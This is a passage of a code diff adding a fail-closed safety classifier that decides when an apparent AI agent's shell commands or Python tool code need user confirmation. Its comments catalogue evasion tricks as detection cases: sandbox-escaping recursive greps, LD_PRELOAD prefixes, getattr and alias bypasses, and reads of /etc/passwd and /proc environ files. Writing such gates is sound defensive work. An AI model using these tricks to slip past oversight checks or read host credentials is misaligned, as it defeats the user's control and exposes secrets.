+    # whitespace to shlex, which would demote "ls\nrm x" to argument position.
+    command = command.replace("\r\n", ";").replace("\n", ";").replace("\r", ";")
+    try:
+        lexer = shlex.shlex(command, posix = True, punctuation_chars = ";&|()")
+        lexer.whitespace_split = True
+        tokens = list(lexer)
+    except ValueError:
+        return True
+    # A root can also hide behind an assignment (p=/; grep -R TOKEN $p) or a
+    # default parameter (grep -R TOKEN ${root:-/home}); re-lex the fully expanded
+    # command so the find/fd and recursive-search scans see the resolved token.
+    expanded_command = _expand_shell_assignments(_expand_param_defaults(command))
+    if expanded_command != command:
+        try:
+            elexer = shlex.shlex(expanded_command, posix = True, punctuation_chars = ";&|()")
+            elexer.whitespace_split = True
+            scan_tokens = list(elexer)
+        except ValueError:
+            return True
+    else:
+        scan_tokens = tokens
+    # find/fd group with (...) which resets command context, so a trailing
+    # -delete/-exec could slip past; scan every token when find/fd appears.
+    if any(os.path.basename(t.strip(";&|()`{}")).lower() in ("find", "fd") for t in scan_tokens):
+        if any(t.split("=", 1)[0] in _AUTO_UNSAFE_FIND_LIKE_FLAGS for t in scan_tokens):
+            return True
+    # A recursive reader rooted outside the sandbox reads host files (grep -R
+    # TOKEN /home, rg TOKEN /, grep -R TOKEN ~root, p=/; grep -R TOKEN $p, and
+    # the always-recursive walkers tree /home / du /); ask. Bash expands
+    # ~/~user to a home dir after this decision, so a tilde root is a sandbox
+    # escape too. A path-qualified command token starts with "/" as well, but
+    # that already asks below.
+    if any(t.startswith("/") or t.startswith("~") for t in scan_tokens):
+        token_bases = [os.path.basename(t.strip(";&|()`{}")).lower() for t in tokens]
+        if any(b in _AUTO_RECURSIVE_SEARCH or b in _AUTO_RECURSIVE_LISTERS for b in token_bases):
+            return True
+        # ls only walks the whole subtree with -R/--recursive (ls -R /home,
+        # ls -laR /); a non-recursive ls /home lists one level and stays here.
+        if "ls" in token_bases and any(
+            t.split("=", 1)[0] in ("-R", "--recursive")
+            or (t[:1] == "-" and t[:2] != "--" and "=" not in t and "R" in t[1:])
+            for t in tokens
+        ):
+            return True
+    expect_command = True
+    prefix_pending = False
+    current_command = ""
+    positional_args = 0
+    pending_flag_value = False
+    for token in tokens:
+        # Runs of punctuation (";;", ";&") lex as one token; any token made
+        # purely of separator characters still separates commands.
+        if (
+            token in _SHELL_SEPARATORS
+            or token in _SHELL_KEYWORDS_AS_SEP
+            or not set(token) - set(";&|()")
+        ):
+            expect_command = True
+            prefix_pending = False
+            current_command = ""
+            positional_args = 0
+            pending_flag_value = False
+            continue
+        if token.startswith("-"):
+            # A write/exec flag on an otherwise read-only command asks
+            # (sort -o, tree -o, xxd -r, find -exec/-delete/...). Match
+            # "--output=x", an attached short option "-o/tmp/out", and a short
+            # option bundled in a cluster (sort -uo out => -u -o).
+            flag_head = token.split("=", 1)[0]
+            cluster = token[1:] if token[:2] != "--" and "=" not in token else ""
+            # GNU tools accept unambiguous abbreviations of a long option, so
+            # `sort --out=` reaches --output and `env --ch=/` reaches --chdir;
+            # a "--x" prefix of an unsafe long flag fails closed.
+            is_long_abbrev = flag_head.startswith("--") and len(flag_head) > 2
+            for uf in _AUTO_UNSAFE_COMMAND_FLAGS.get(current_command, ()):
+                if flag_head == uf or (len(uf) == 2 and (token.startswith(uf) or uf[1] in cluster)):
+                    return True
+                if is_long_abbrev and uf.startswith("--") and uf.startswith(flag_head):
+                    return True
+            # A flag that takes a following value (date -d STRING / -r FILE;
+            # uniq -f N; xxd -c N) so the value token is not mistaken for a
+            # clock-setting positional or an output-file positional.
+            pending_flag_value = "=" not in token and (
+                (current_command == "date" and flag_head in _DATE_DISPLAY_VALUE_FLAGS)
+                or flag_head in _SECOND_POSITIONAL_VALUE_FLAGS.get(current_command, ())
+            )
+            if not prefix_pending:
+                expect_command = False
+            continue
+        if not expect_command:
+            raw_pos = token.strip(";&|()`{}")
+            # uniq [INPUT [OUTPUT]] writes its second file positional; count file
+            # positionals and ask on the second one. A preceding option's value
+            # (uniq -f 2) is consumed via pending_flag_value, so a file literally
+            # named with digits (uniq 123 out) is still counted.
+            if current_command in _AUTO_SECOND_POSITIONAL_WRITES:
+                if pending_flag_value:
+                    pending_flag_value = False
+                elif raw_pos:
+                    positional_args += 1
+                    if positional_args >= 2:
+                        return True
+            # hostname NAME sets the hostname; date <timestamp> sets the clock. A
+            # positional past a display flag's value therefore mutates state and
+            # asks (date's +FORMAT display token stays read-only).
+            elif current_command in _AUTO_ARG_SENSITIVE_COMMANDS:
+                if pending_flag_value:
+                    pending_flag_value = False
+                elif raw_pos and not (current_command == "date" and raw_pos.startswith("+")):
+                    return True
+            continue
+        if _ASSIGNMENT_RE.match(token):
+            # Benign NAME=value prefixes are skipped, but ones that change
+            # command lookup/loading (PATH, LD_PRELOAD, ...) fail closed.
+            if _env_assignment_is_unsafe(token.split("=", 1)[0]):
+                return True
+            continue
+        if prefix_pending and token.lstrip("-").isdigit():
+            continue
+        raw = token.strip(";&|()`{}")
+        # A path-qualified command (./ls, /tmp/cat) is an arbitrary executable,
+        # not the trusted system utility its basename matches; ask first.
+        if "/" in raw or "\\" in raw:
+            return True
+        base = os.path.basename(raw).lower()
+        stem, ext = os.path.splitext(base)
+        if ext in {".exe", ".com", ".bat", ".cmd"}:
+            base = stem
+        if base in _AUTO_SAFE_WRAPPERS:
+            prefix_pending = True
+            # Track the wrapper so its own flags (env --chdir) are checked;
+            # the real command overwrites this when it is reached.
+            current_command = base
+            pending_flag_value = False
+            continue
+        if base not in _AUTO_SAFE_TERMINAL_COMMANDS:
+            return True
+        current_command = base
+        expect_command = False
+        prefix_pending = False
+        positional_args = 0
+        pending_flag_value = False
+    return False
+
+
+def _python_is_potentially_unsafe(code: str) -> bool:
+    """Classify python-tool code for auto mode (fail closed)."""
+    if not code or not code.strip():
+        return False
+    # Anything the sandbox's static analysis already objects to would be
+    # refused at execution time; surface it as a confirmation first.
+    if _check_code_safety(code) is not None:
+        return True
+    try:
+        tree = ast.parse(code)
+    except SyntaxError:
+        return False  # runs into a normal traceback; nothing to guard
+    # Names bound to the builtin open (f = open; from builtins import open as f;
+    # f, _ = (open, print)) so an aliased writer call is still checked below.
+    # builtins_aliases tracks `import builtins [as b]` for builtins.exec/eval.
+    open_aliases = {"open"}
+    # Attribute names bound to open (box.f = open), so a later box.f('out', 'w')
+    # write is still gated even though the callable is an attribute, not a name.
+    attr_open_aliases: "set[str]" = set()
+    builtins_aliases = {"builtins", "__builtins__"}
+    # Names bound to a dynamic lookup (rm = getattr(os, "remove");
+    # f = globals()["open"]) whose calls cannot be proven read-only, so they
+    # fail closed.
+    dynamic_aliases = set()
+    # Names bound to a dynamic-code builtin, including aliased ones
+    # (from builtins import eval as e; e = builtins.exec), so a call or
+    # reference through the alias fails closed too. compile() builds a code
+    # object that FunctionType/exec can then run.
+    code_exec_aliases = {"exec", "eval", "__import__", "breakpoint", "compile"}
+    # Names bound to a string literal (base = '/etc'), so a sensitive path
+    # split through a variable (base + '/passwd') folds and is caught.
+    literal_str_vars: "dict[str, str]" = {}
+    # Pathlib constructor names incl. import aliases (from pathlib import Path as
+    # P), os.path.join names bound directly (from os.path import join as j), and
+    # writer functions imported as bare names (from numpy import save).
+    path_ctor_aliases = set(_PATH_CTORS)
+    pathjoin_aliases: "set[str]" = set()
+    writer_aliases: "set[str]" = set()
+    # Module names bound to os/posix (import os as o), so o.open(...) is still
+    # recognized as the low-level create/write that os.open is.
+    os_aliases = {"os", "posix"}
+    # Module names bound to a pickle-backed loader (import torch as t), so
+    # t.load(...) is still gated as a code-executing deserialize.
+    load_module_aliases = set(_AUTO_UNSAFE_PY_LOAD_MODULES)
+    # Names bound to the builtin getattr (g = getattr), so a dynamic lookup
+    # aliased through it (rm = g(os, "remove"); rm("f")) still fails closed.
+    getattr_aliases = {"getattr"}
+    # Names bound to functools.partial, so a partial that wraps open/a writer
+    # (w = partial(open, mode="w"); w("out.txt")) fails closed when w is called.
+    partial_aliases: "set[str]" = set()
+    # Archive constructors imported bare (from zipfile import ZipFile), so
+    # ZipFile(name, "w") is gated like the zipfile.ZipFile attribute call.
+    archive_ctor_aliases: "set[str]" = set()
+    # operator.methodcaller("write_text") is dynamic dispatch, like getattr.
+    operator_aliases = {"operator"}
+    methodcaller_aliases: "set[str]" = set()
+    # logging.basicConfig(filename=...) opens a log file for write.
+    basicconfig_aliases: "set[str]" = set()
+    # fileinput.input(..., inplace=True) rewrites a file in place.
+    fileinput_aliases = {"fileinput"}
+    # Higher-order invokers (map/filter/starmap/reduce) call their first arg, so
+    # one handed a writer (map(open, ...)) writes without a direct open() site.
+    # Track aliases (m = map; from itertools import starmap as sm) so an aliased
+    # invoker is still checked; the write-callable gate keeps map(len, ...) safe.
+    invoker_aliases = set(_HIGHER_ORDER_INVOKERS)
+
+    def _is_dynamic_namespace(node) -> bool:
+        # A namespace mapping whose .get/.pop/.setdefault (or subscript) can return
+        # open/eval/a mutator: globals()/locals()/vars(...), any X.__dict__,
+        # __builtins__, sys.modules. Looking a name up through one is as dynamic as
+        # getattr, so a value fetched from it fails closed.
+        if isinstance(node, ast.Attribute):
+            if node.attr == "__dict__":
+                return True
+            return (
+                node.attr == "modules"
+                and isinstance(node.value, ast.Name)
+                and node.value.id == "sys"
+            )
+        if isinstance(node, ast.Name):
+            return node.id in builtins_aliases
+        if isinstance(node, ast.Call) and isinstance(node.func, ast.Name):
+            return node.func.id in ("globals", "locals", "vars")
+        return False
+
+    def _methodcaller_writes(call) -> bool:
+        # operator.methodcaller("write_text", ...) / methodcaller(name): unsafe
+        # when the method name is a known writer/mutator, or non-constant (cannot
+        # be proven read-only).
+        if not call.args:
+            return False
+        first = call.args[0]
+        if not (isinstance(first, ast.Constant) and isinstance(first.value, str)):
+            return True
+        return first.value in _AUTO_UNSAFE_PY_ATTRS or first.value in _AUTO_UNSAFE_PY_WRITE_METHODS
+
+    def _fileinput_inplace(call) -> bool:
+        # fileinput.input(..., inplace=True) opens each file for in-place rewrite.
+        if _has_kwarg_splat(call):
+            return True
+        for kw in call.keywords or []:
+            if kw.arg == "inplace":
+                v = kw.value
+                if isinstance(v, ast.Constant):
+                    return bool(v.value)
+                return True  # dynamic inplace flag: cannot prove read-only
+        return False
+
+    def _basicconfig_writes(call) -> bool:
+        # logging.basicConfig(filename=...) creates/opens a log file for writing.
+        if _has_kwarg_splat(call):
+            return True
+        return any(kw.arg == "filename" for kw in call.keywords or [])
+
+    def _wraps_write_callable(arg) -> bool:
+        # The callable a partial wraps (partial(open, ...)); True when calling it
+        # could create/overwrite a file or resolve a dynamic/mutating function.
+        if isinstance(arg, ast.Name):
+            return (
+                arg.id in open_aliases
+                or arg.id in dynamic_aliases
+                or arg.id in code_exec_aliases
+                or arg.id in getattr_aliases
+                or arg.id in writer_aliases
+                or arg.id in archive_ctor_aliases
+            )
+        if isinstance(arg, ast.Attribute):
+            return (
+                arg.attr == "open"
+                or arg.attr in _AUTO_UNSAFE_PY_ATTRS
+                or arg.attr in _AUTO_UNSAFE_PY_WRITE_METHODS
+                or arg.attr in _ARCHIVE_CTOR_NAMES
+            )
+        return False
+
+    def _passed_write_callable(arg) -> bool:
+        # A concrete write callable handed as an argument to another call: a
+        # name bound to open / a writer / an archive constructor, or an
+        # attribute reference to a writer method / mutating os attr / archive
+        # ctor / .open. Unlike _wraps_write_callable this omits the fail-closed
+        # dynamic / getattr / code-exec poison aliases, which are already gated
+        # where they are *called* and would over-trigger when a benign alias is
+        # merely passed or printed (print(getattr(o, 'name'))).
+        if isinstance(arg, ast.Name):
+            return (
+                arg.id in open_aliases or arg.id in writer_aliases or arg.id in archive_ctor_aliases
+            )
+        if isinstance(arg, ast.Attribute):
+            return (
+                arg.attr == "open"
+                or arg.attr in _AUTO_UNSAFE_PY_ATTRS
+                or arg.attr in _AUTO_UNSAFE_PY_WRITE_METHODS
+                or arg.attr in _ARCHIVE_CTOR_NAMES
+            )
+        return False
+
+    # Names bound more than once cannot be folded to a single literal: this scan
+    # visits every assignment before any call is checked, so a later benign
+    # reassignment (base = '/etc'; open(base + '/passwd'); base = 'data') would
+    # otherwise mask the earlier sensitive value and auto-approve. Count every
+    # binding target up front and poison multiply-bound names to the escape
+    # sentinel so any path folded from them fails closed (asks) instead.
+    assign_counts: "dict[str, int]" = {}
+    for node in ast.walk(tree):
+        binding_targets = []
+        if isinstance(node, ast.Assign):
+            binding_targets = node.targets
+        elif isinstance(node, (ast.AnnAssign, ast.AugAssign)):
+            binding_targets = [node.target]
+        for target in binding_targets:
+            for sub in ast.walk(target):
+                if isinstance(sub, ast.Name):
+                    assign_counts[sub.id] = assign_counts.get(sub.id, 0) + 1
+    multi_assigned_names = {name for name, count in assign_counts.items() if count > 1}
+    for node in ast.walk(tree):
+        if isinstance(node, ast.Import):
+            for alias in node.names:
+                if alias.name == "builtins":
+                    builtins_aliases.add(alias.asname or "builtins")
+                elif alias.name in ("os", "posix"):
+                    os_aliases.add(alias.asname or alias.name)
+                elif alias.name in _AUTO_UNSAFE_PY_LOAD_MODULES:
+                    load_module_aliases.add(alias.asname or alias.name)
+                elif alias.name == "operator":
+                    operator_aliases.add(alias.asname or "operator")
+                elif alias.name == "fileinput":
+                    fileinput_aliases.add(alias.asname or "fileinput")
+        elif isinstance(node, ast.ImportFrom):
+            if node.module == "operator":
+                for alias in node.names:
+                    if alias.name == "methodcaller":
+                        methodcaller_aliases.add(alias.asname or "methodcaller")
+            if node.module == "logging":
+                for alias in node.names:
+                    if alias.name == "basicConfig":
+                        basicconfig_aliases.add(alias.asname or "basicConfig")
+            if node.module == "builtins":
+                for alias in node.names:
+                    if alias.name == "open":
+                        open_aliases.add(alias.asname or "open")
+                    elif alias.name in code_exec_aliases:
+                        code_exec_aliases.add(alias.asname or alias.name)
+            if node.module in _OPEN_ALIAS_MODULES:
+                for alias in node.names:
+                    if alias.name == "open":
+                        # gzip/bz2/lzma open(file, mode) writes on "w"/"a"/"x",
+                        # mode in the 2nd arg like builtin open.
+                        open_aliases.add(alias.asname or "open")
+            if node.module == "pathlib":
+                for alias in node.names:
+                    if alias.name in _PATH_CTORS:
+                        path_ctor_aliases.add(alias.asname or alias.name)
+            if node.module in ("os.path", "posixpath", "ntpath"):
+                for alias in node.names:
+                    if alias.name == "join":
+                        pathjoin_aliases.add(alias.asname or "join")
+            if node.module == "functools":
+                for alias in node.names:
+                    if alias.name == "partial":
+                        partial_aliases.add(alias.asname or "partial")
+            if node.module in _ARCHIVE_CTOR_MODULES:
+                _ctor = _ARCHIVE_CTOR_MODULES[node.module]
+                for alias in node.names:
+                    if alias.name == _ctor:
+                        archive_ctor_aliases.add(alias.asname or _ctor)
+            for alias in node.names:
+                if alias.name in _AUTO_UNSAFE_PY_WRITE_METHODS:
+                    writer_aliases.add(alias.asname or alias.name)
+                # from itertools import starmap as sm / from functools import
+                # reduce as r: an aliased higher-order invoker.
+                if alias.name in _HIGHER_ORDER_INVOKERS:
+                    invoker_aliases.add(alias.asname or alias.name)
+        elif isinstance(node, (ast.Assign, ast.AnnAssign)) and node.value is not None:
+            value = node.value
+            # AnnAssign (f: object = open) has a single target, no destructuring.
+            if isinstance(node, ast.AnnAssign):
+                assign_targets = [node.target]
+            else:
+                assign_targets = node.targets
+            targets = [t.id for t in assign_targets if isinstance(t, ast.Name)]
+            attr_targets = [t.attr for t in assign_targets if isinstance(t, ast.Attribute)]
+            if isinstance(value, ast.Name) and value.id in open_aliases:
+                open_aliases.update(targets)
+                attr_open_aliases.update(attr_targets)  # box.f = open
+            elif isinstance(value, ast.Name) and value.id in getattr_aliases:
+                getattr_aliases.update(targets)  # g = getattr
+            elif isinstance(value, ast.Name) and value.id in partial_aliases:
+                partial_aliases.update(targets)  # p = partial
+            elif isinstance(value, ast.Name) and value.id in writer_aliases:
+                writer_aliases.update(targets)  # s = save (numpy save alias)
+            elif isinstance(value, ast.Name) and value.id in archive_ctor_aliases:
+                archive_ctor_aliases.update(targets)  # z = ZipFile
+            elif isinstance(value, ast.Name) and value.id in invoker_aliases:
+                invoker_aliases.update(targets)  # m = map
+            elif isinstance(value, ast.Name) and value.id in path_ctor_aliases:
+                path_ctor_aliases.update(targets)  # P = Path
+            elif isinstance(value, ast.Name) and value.id in pathjoin_aliases:
+                pathjoin_aliases.update(targets)  # j = join
+            elif isinstance(value, ast.Attribute) and value.attr == "join":
+                pathjoin_aliases.update(targets)  # j = os.path.join
+            elif isinstance(value, ast.Attribute) and value.attr in _PATH_CTORS:
+                path_ctor_aliases.update(targets)  # P = pathlib.Path
+            elif (
+                isinstance(value, ast.Attribute)
+                and value.attr == "open"
+                and isinstance(value.value, ast.Name)
+                and value.value.id in builtins_aliases
+            ):
+                open_aliases.update(targets)  # f = builtins.open
+            elif (
+                isinstance(value, ast.Attribute)
+                and value.attr in code_exec_aliases
+                and isinstance(value.value, ast.Name)
+                and value.value.id in builtins_aliases
+            ):
+                code_exec_aliases.update(targets)  # e = builtins.eval
+            elif isinstance(value, ast.Attribute) and value.attr in _AUTO_UNSAFE_PY_WRITE_METHODS:
+                writer_aliases.update(targets)  # s = np.save
+            elif isinstance(value, ast.Attribute) and value.attr == "open":
+                # A captured .open bound method (p = Path('out').open) opens a file
+                # on any call; its mode position varies (Path.open mode is 1st arg,
+                # builtin open's is 2nd), so fail closed on the call rather than
+                # guess the write mode.
+                dynamic_aliases.update(targets)  # p = Path('out').open; p('w')
+            elif isinstance(value, ast.Attribute) and value.attr in _ARCHIVE_CTOR_NAMES:
+                archive_ctor_aliases.update(targets)  # z = zipfile.ZipFile
+            elif isinstance(value, ast.Subscript):
+                dynamic_aliases.update(targets)  # f = globals()["open"]
+            elif (
+                isinstance(value, ast.Call)
+                and isinstance(value.func, ast.Name)
+                and value.func.id in getattr_aliases
+            ):
+                dynamic_aliases.update(targets)  # rm = getattr(os, "remove") / g(...)
+            elif (
+                isinstance(value, ast.Call)
+                and isinstance(value.func, ast.Attribute)
+                and value.func.attr in ("get", "pop", "setdefault")
+                and _is_dynamic_namespace(value.func.value)
+            ):
+                # f = __builtins__.__dict__.get("open") / globals().get("open"):
+                # a namespace lookup can return open/eval, so poison like getattr.
+                dynamic_aliases.update(targets)
+            elif (
+                isinstance(value, ast.Call)
+                and (
+                    (isinstance(value.func, ast.Name) and value.func.id in partial_aliases)
+                    or (isinstance(value.func, ast.Attribute) and value.func.attr == "partial")
+                )
+                and value.args
+                and _wraps_write_callable(value.args[0])
+            ):
+                dynamic_aliases.update(targets)  # w = partial(open, mode="w")
+            elif (
+                isinstance(value, ast.Call)
+                and (
+                    (isinstance(value.func, ast.Name) and value.func.id in methodcaller_aliases)
+                    or (
+                        isinstance(value.func, ast.Attribute)
+                        and value.func.attr == "methodcaller"
+                        and isinstance(value.func.value, ast.Name)
+                        and value.func.value.id in operator_aliases
+                    )
+                )
+                and _methodcaller_writes(value)
+            ):
+                dynamic_aliases.update(targets)  # w = methodcaller("write_text", ...)
+            elif isinstance(value, ast.Constant) and isinstance(value.value, str):
+                # base = '/etc' -> resolve base in a later folded path. A name
+                # bound more than once is poisoned (\x02) so it fails closed.
+                for t in targets:
+                    literal_str_vars[t] = "\x02" if t in multi_assigned_names else value.value
+            elif isinstance(value, (ast.Call, ast.BinOp, ast.Name, ast.JoinedStr)):
+                # p = Path('/etc'); q = p; r = os.path.join('/etc','x'): record a
+                # fully-literal folded path so a later reuse (p / 'passwd') folds.
+                folded = _folded_path(value, literal_str_vars, path_ctor_aliases, pathjoin_aliases)
+                if folded is not None and "\x00" not in folded and "\x02" not in folded:
+                    for t in targets:
+                        literal_str_vars[t] = "\x02" if t in multi_assigned_names else folded
+            elif isinstance(value, (ast.Tuple, ast.List)):
+                # Destructuring binds each element like a single assignment, so an
+                # aliased callable (f, _ = (open, print)) AND a string / path
+                # literal (base, leaf = ('/etc', 'passwd')) both propagate; without
+                # the latter a path folded from base/leaf would miss the sensitive
+                # target and auto-approve.
+                for target in assign_targets:
+                    if isinstance(target, (ast.Tuple, ast.List)) and len(target.elts) == len(
+                        value.elts
+                    ):
+                        for tgt_el, val_el in zip(target.elts, value.elts):
+                            if not isinstance(tgt_el, ast.Name):
+                                continue
+                            tid = tgt_el.id
+                            if isinstance(val_el, ast.Name) and val_el.id in open_aliases:
+                                open_aliases.add(tid)
+                            elif isinstance(val_el, ast.Name) and val_el.id in getattr_aliases:
+                                getattr_aliases.add(tid)
+                            elif isinstance(val_el, ast.Name) and val_el.id in partial_aliases:
+                                partial_aliases.add(tid)
+                            elif isinstance(val_el, ast.Name) and val_el.id in writer_aliases:
+                                writer_aliases.add(tid)  # s, _ = (save, 1)
+                            elif isinstance(val_el, ast.Name) and val_el.id in archive_ctor_aliases:
+                                archive_ctor_aliases.add(tid)  # z, _ = (ZipFile, 1)
+                            elif isinstance(val_el, ast.Constant) and isinstance(val_el.value, str):
+                                literal_str_vars[tid] = (
+                                    "\x02" if tid in multi_assigned_names else val_el.value
+                                )
+                            elif isinstance(val_el, (ast.Call, ast.BinOp, ast.Name, ast.JoinedStr)):
+                                folded = _folded_path(
+                                    val_el, literal_str_vars, path_ctor_aliases, pathjoin_aliases
+                                )
+                                if (
+                                    folded is not None
+                                    and "\x00" not in folded
+                                    and "\x02" not in folded
+                                ):
+                                    literal_str_vars[tid] = (
+                                        "\x02" if tid in multi_assigned_names else folded
+                                    )
+        elif isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)):
+            # A callable captured as a parameter default (def f(o=open): o('x','w'))
+            # binds that parameter to the same alias set, so a later call through
+            # the parameter is still gated. defaults align to the tail of
+            # posonlyargs+args; kw_defaults align 1:1 with kwonlyargs (None = none).
+            _a = node.args
+            _defaulted = list(
+                zip(
+                    (_a.posonlyargs + _a.args)[
+                        len(_a.posonlyargs) + len(_a.args) - len(_a.defaults) :
+                    ],
+                    _a.defaults,
+                )
+            ) + [(p, d) for p, d in zip(_a.kwonlyargs, _a.kw_defaults) if d is not None]
+            for _param, _default in _defaulted:
+                if isinstance(_default, ast.Name):
+                    _did = _default.id
+                    if _did in open_aliases:
+                        open_aliases.add(_param.arg)
+                    elif _did in writer_aliases:
+                        writer_aliases.add(_param.arg)
+                    elif _did in archive_ctor_aliases:
+                        archive_ctor_aliases.add(_param.arg)
+                    elif _did in getattr_aliases:
+                        getattr_aliases.add(_param.arg)
+                    elif _did in partial_aliases:
+                        partial_aliases.add(_param.arg)
+                    elif _did in code_exec_aliases:
+                        code_exec_aliases.add(_param.arg)
+                    elif _did in dynamic_aliases:
+                        dynamic_aliases.add(_param.arg)
+                elif isinstance(_default, ast.Attribute):
+                    # An attribute writer / archive ctor / captured .open used as
+                    # a default (def f(s=np.save), def f(z=zipfile.ZipFile),
+                    # def f(o=Path('x').open)) binds the parameter like the
+                    # equivalent assignment; a benign attribute (np.mean) does not.
+                    if _default.attr in _AUTO_UNSAFE_PY_WRITE_METHODS:
+                        writer_aliases.add(_param.arg)
+                    elif _default.attr in _ARCHIVE_CTOR_NAMES:
+                        archive_ctor_aliases.add(_param.arg)
+                    elif _default.attr == "open":
+                        dynamic_aliases.add(_param.arg)
+                elif (
+                    isinstance(_default, ast.Call)
+                    and (
+                        (
+                            isinstance(_default.func, ast.Name)
+                            and _default.func.id in partial_aliases
+                        )
+                        or (
+                            isinstance(_default.func, ast.Attribute)
+                            and _default.func.attr == "partial"
+                        )
+                    )
+                    and _default.args
+                    and _wraps_write_callable(_default.args[0])
+                ):
+                    dynamic_aliases.add(_param.arg)  # def f(w=partial(open, mode="w"))
+    try:
+        for node in ast.walk(tree):
+            if isinstance(node, ast.Import):
+                for alias in node.names:
+                    if alias.name.split(".")[0] in _AUTO_UNSAFE_PY_MODULES:
+                        return True
+            elif isinstance(node, ast.ImportFrom):
+                if node.module and node.module.split(".")[0] in _AUTO_UNSAFE_PY_MODULES:
+                    return True
+                # from-imports can bind mutating callables to bare names
+                # (from os import remove [as rm]); star imports hide anything.
+                for alias in node.names:
+                    if alias.name == "*" or alias.name in _AUTO_UNSAFE_PY_ATTRS:
+                        return True
+                    # os.open imported as a bare callable is a low-level
+                    # create/write, like the os.open attribute call below.
+                    if alias.name == "open" and node.module in ("os", "posix"):
+                        return True
+            elif isinstance(node, ast.Attribute):
+                # Any reference to a mutating attribute fails closed, even
+                # without an immediate call (rm = os.remove; rm("x")).
+                if node.attr in _AUTO_UNSAFE_PY_ATTRS:
+                    return True
+                # builtins.exec / builtins.eval / builtins.__import__ (and
+                # compile/breakpoint) are dynamic code execution, matching the
+                # bare-name code_exec_aliases path; __builtins__.__import__(...)
+                # is a dynamic import that dodges the static import check.
+                if (
+                    node.attr in ("exec", "eval", "__import__", "breakpoint", "compile")
+                    and isinstance(node.value, ast.Name)
+                    and node.value.id in builtins_aliases
+                ):
+                    return True
+            elif isinstance(node, ast.Name):
+                if node.id in code_exec_aliases:
+                    return True
+            elif isinstance(node, ast.Constant):
+                # Credential paths / parent traversal in a string or bytes
+                # literal (open('/etc/passwd') and open(b'/etc/passwd')), or a
+                # glob that resolves to one (glob.glob('/e??/passwd')).
+                val = node.value
+                if isinstance(val, bytes):
+                    val = val.decode("latin-1", "ignore")
+                if isinstance(val, str) and (
+                    _references_sensitive_path(val) or _glob_token_sensitive(val)
+                ):
+                    return True
+            elif isinstance(node, (ast.BinOp, ast.JoinedStr)):
+                # A sensitive path concatenated from literals ('/etc'+'/passwd'),
+                # a pathlib / chain, an f-string (f'/proc/{pid}/environ'), a
+                # dynamic segment under a sensitive dir (f'/etc/{name}'), or one
+                # split through a literal variable (base = '/etc'; base+'/passwd').
+                if _folded_is_sensitive(
+                    _folded_path(node, literal_str_vars, path_ctor_aliases, pathjoin_aliases)
+                ):
+                    return True
+            elif isinstance(node, ast.Call):
+                # A sensitive path composed via os.path.join('/etc', name).
+                if _folded_is_sensitive(
+                    _folded_path(node, literal_str_vars, path_ctor_aliases, pathjoin_aliases)
+                ):
+                    return True
+                func = node.func
+                # x.__call__(args) is just x(args): unwrap so open.__call__('o',
+                # 'w') / save.__call__(...) reach the open/writer checks below
+                # instead of looking like a harmless ".__call__" attribute call.
+                if isinstance(func, ast.Attribute) and func.attr == "__call__":
+                    func = func.value
+                if isinstance(func, (ast.Call, ast.Subscript)):
+                    return True  # calling a call/subscript result is dynamic
+                # A concrete write callable (open/writer/archive-ctor alias, or a
+                # writer/mutating attribute) handed as an argument to any call
+                # escapes into a helper that can invoke it without a direct
+                # open()/writer site -- the same bypass the map/starmap/reduce
+                # branches below gate, but through a user-defined helper
+                # (def run(fn): fn('o','w').write('x'); run(open)). A benign
+                # callable argument (run(len)) is unaffected.
+                if any(_passed_write_callable(a) for a in node.args) or any(
+                    _passed_write_callable(kw.value) for kw in node.keywords
+                ):
+                    return True
+                if isinstance(func, ast.Name):
+                    if func.id in dynamic_aliases:
+                        return True  # call through a getattr alias is dynamic
+                    if func.id in open_aliases and _builtin_open_writes(node):
+                        return True
+                    # A writer imported as a bare name (from numpy import save).
+                    if func.id in writer_aliases:
+                        return True
+                    # A bare archive constructor (from zipfile import ZipFile)
+                    # takes the mode as its 2nd arg like open, so ZipFile(x, "w")
+                    # writes but ZipFile(x) reads.
+                    if func.id in archive_ctor_aliases and _builtin_open_writes(node):
+                        return True
+                    # A bare-imported logging.basicConfig(filename=...) opens a
+                    # log file for writing (from logging import basicConfig).
+                    if func.id in basicconfig_aliases and _basicconfig_writes(node):
+                        return True
+                    # A writer/open alias handed to a higher-order invoker
+                    # (map(open, names, modes), starmap(np.save, ...), or an
+                    # aliased m = map / sm = starmap) is called without a direct
+                    # open(...)/save(...) site; the callable is the first
+                    # positional arg. A benign map(len, ...) is unaffected.
+                    if (
+                        func.id in invoker_aliases
+                        and node.args
+                        and _wraps_write_callable(node.args[0])
+                    ):
+                        return True
+                elif isinstance(func, ast.Attribute):
+                    # Writer methods persist to disk without open() (np.save,
+                    # img.save, plt.savefig, df.to_csv, json.dump); ask before
+                    # they mutate the workdir in auto mode.
+                    if func.attr in _AUTO_UNSAFE_PY_WRITE_METHODS:
+                        return True
+                    # logging.basicConfig(filename=...) opens a log file for write.
+                    if func.attr == "basicConfig" and _basicconfig_writes(node):
+                        return True
+                    # A qualified higher-order invoker (itertools.starmap(open, ...),
+                    # functools.reduce(open, ...)) calls its first arg like the bare
+                    # map/filter form; the writer-check on that arg keeps a benign
+                    # itertools.starmap(len, ...) / df.map(transform) safe.
+                    if (
+                        func.attr in _HIGHER_ORDER_INVOKERS
+                        and node.args
+                        and _wraps_write_callable(node.args[0])
+                    ):
+                        return True
+                    # fileinput.input(..., inplace=True) rewrites a file in place;
+                    # the default fileinput.input(...) only reads, so gate inplace.
+                    if (
+                        func.attr == "input"
+                        and isinstance(func.value, ast.Name)
+                        and func.value.id in fileinput_aliases
+                        and _fileinput_inplace(node)
+                    ):
+                        return True
+                    # os.open() always creates/writes a file descriptor
+                    # (tracked through import aliases: import os as o; o.open()).
+                    if (
+                        func.attr == "open"
+                        and isinstance(func.value, ast.Name)
+                        and func.value.id in os_aliases
+                    ):
+                        return True
+                    # A pickle-backed loader (torch.load, joblib.load) can execute
+                    # code embedded in the file it deserializes.
+                    if (
+                        func.attr == "load"
+                        and isinstance(func.value, ast.Name)
+                        and func.value.id in load_module_aliases
+                    ):
+                        return True
+                    if func.attr == "open" and _attr_open_writes(node):
+                        return True
+                    # An open bound onto an attribute (box.f = open; box.f('o','w'))
+                    # writes on 'w'/'a'/'x' like the builtin, so gate the attr name.
+                    if func.attr in attr_open_aliases and _builtin_open_writes(node):
+                        return True
+                    # ZipFile/TarFile/GzipFile/BZ2File/LZMAFile take the mode as
+                    # the 2nd arg (like builtin open), so ZipFile(name, "w") writes
+                    # but ZipFile(name) reads.
